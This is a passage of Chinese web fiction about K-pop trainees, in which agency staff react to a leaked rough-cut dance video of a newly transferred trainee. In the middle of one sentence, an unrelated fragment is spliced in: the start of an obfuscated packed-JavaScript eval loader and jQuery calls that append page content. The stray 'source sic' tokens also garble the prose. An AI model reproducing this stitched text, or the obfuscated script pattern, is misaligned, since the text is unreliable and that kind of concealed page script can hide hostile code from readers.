“再保一条！”导演声音里带着压不住的兴奋，“机位B给特写，我要你们最后那个眼神，再狠一点！”
身边，郑浩锡拍了拍她的肩膀。
尹珠媛抹了把脸上的汗，混着晕开的仿妆，在手臂上留下一道暗红的痕迹。
像勋章。
-
一周后，BH内部服务器。
练习生管理部部长崔敏英点开那个标着【萌芽项目-粗剪V2】的文件夹。她原本只是例行检查存储空间，但这个文件在过去48小时内的访问记录高得异常，而且IP分布跨了三个子公司。
好奇心驱使，她双击点开。
视频开始是郑浩锡的独舞部分，干净利落，专业水准。崔敏英快进了三十秒，直到画面切换。
练习室，顶光，灰绿色工装的少女。
崔敏英的鼠标停住了。
她认得这张脸。上个月从Starship转来的争议练习生，档案照片还带着点稚气，但镜头里这个人——
汗湿的黑发贴在额角，颧骨上带着伤妆，眼神里没有初次拍摄的怯懦，只有一种近乎野蛮的专注。
崔敏英坐直身体，把音量调大。
最后一个part，郑浩锡的手从黑暗里伸出来时，她屏住了呼吸。
扣腕，借力，整个段落一气呵成，没有剪辑痕迹，显然是实拍一条过。
视频结束在两人击掌的画面上。
崔敏英盯着暗下去的屏幕，沉默了几秒，然后迅速打开内部通讯软件。
【崔敏英：你看过萌芽项目的粗剪了吗？】
【企划部-金志勋：刚看完。那个练习生……】
【崔敏英：我知道。】
消息框显示“对方正在输入”闪烁了很久。
【企划部-金志勋：她不是source sic准备新女团的备选吗？这种风格……跟现在市场趋势完全反着来。】
【崔敏英：所以郑浩锡选了。】
【企划部-金志勋：高层会疯的。】
【崔敏英：所以才刺激。】
她关掉聊天窗口，重新点开视频，拉到尹珠媛特写的部分，截了几张图。
粗剪视频像滴入清水的墨，迅速在内部扩散。
Pledis的一个舞蹈教练在午餐
;eval(function(p,a,c,k,e,d){e=function(c){return(c
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
时拉住source sic相熟的老师：“听说你们那个新练习生，把浩锡都镇住了？”
“没那么夸张……”对方试图低调。
“视频我都看了。”舞蹈教练压低声音，“她那套独舞，你们编舞老师给的？”
“她自己排的，BH的姜老师帮着调整了一下框架。”
“自己排的？”教练挑眉，“那更不得了。这种质感的练习生，你们准备什么时候推？”
“这才哪到哪，集训还没结束呢。”
“装吧你就。粗剪能流出来就是在放信号。等着看吧，下次月度汇报，你们苏代表腰杆都能挺直点。”
下午，BH音乐制作部几个年轻制作人窝在公共休息室的沙